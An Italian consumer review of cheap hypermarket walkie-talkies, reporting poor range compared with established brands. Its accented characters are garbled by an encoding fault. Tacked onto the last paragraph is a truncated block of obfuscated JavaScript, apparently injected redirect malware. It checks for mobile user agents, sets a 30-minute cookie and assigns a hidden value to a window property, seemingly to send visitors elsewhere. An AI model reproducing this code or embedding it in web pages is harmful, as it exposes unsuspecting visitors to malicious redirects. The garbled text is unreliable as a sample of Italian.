Incuriositi dai prezzi vantaggiosi di queste ricetrasmittenti, e consci della difficoltAi?? del valutare un tipo di radiotrasmittente dalle sole specifiche tecniche, ci siamo domandati se radiotrasmittenti cosAi?? economiche, come quelle vendute nei tanti ipermercati sparsi in tutta Italia, potessero essere comunque soddisfacenti per un uso non professionale o se fossero semplicemente uno specchietto per le allodole.
Sinceramente ci siamo avviati verso questo test pieni di speranza (perchAi?? i vari modelli in vendita appartenevano a marche piuttosto note), ma al contempo molto diffidenti, dato il prezzo fin troppo basso e lai??i??andamento attuale del mercato.
Proprio su questai??i??ultimo punto vorremmo spendere due parole: in questi ultimi anni abbiamo provato numerosi apparecchi elettronici, sia come rivista, sia per usi personali. Ebbene, salvo rarissimi casi, il prezzo troppo basso si A? sempre dimostrato indice di scarsa qualitAi??! Attenzione quindi a comprare il modello piA? economico di una marca conosciuta, potreste pentirvene, ma ve ne pentirete sicuramente se deciderete di acquistare modelli ultraeconomici di marche poco conosciute. Inoltre il fatto che una marca sia conosciuta in un certo settore non implica affatto che sia sinonimo di qualitAi?? in settori completamente diversi!
Negli ultimi tempi capita spesso che tra le offerte degli ipermercati si trovino anche ricetrasmittenti piccole, maneggevoli, economiche e di marca nota. I prezzi sono realmente vantaggiosi: si trovano coppie di ricetrasmittenti da 50 a 80 euro. Nelle caratteristiche A? dichiarato un campo utile massimo di 5 chilometri in campo aperto! Ebbene, diffidate da tali offerte!
Marche note e affidabili in questo campo come Alan, Midland e Kenwood hanno tra i modelli piA? economici radiotrasmittenti con prezzi non inferiori a 160ai??i?? a coppia! E nelle specifiche dichiarano spesso meno di 3 km di copertura (2 km per le LPD e 5 km per le PMR)!
Abbiamo testato diversi modelli di radiotrasmittenti di prezzo compreso tra 50 e 90ai??i?? a coppia e ne siamo rimasti veramente molto delusi. La portata utile A? praticamente nulla, in alcuni modelli non raggiunge nemmeno il mezzo chilometro! Il test A? stato effettuato in ambiente urbano e boschivo, quindi non in campo totalmente aperto, ma A? in queste situazioni che ci aspetteremmo una portata utile di almeno un chilometro. Lo stesso test eseguito con le Alan 507 (140ai??i?? circa a coppia) ha dato risultati ben diversi e piA? che soddisfacenti. |se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
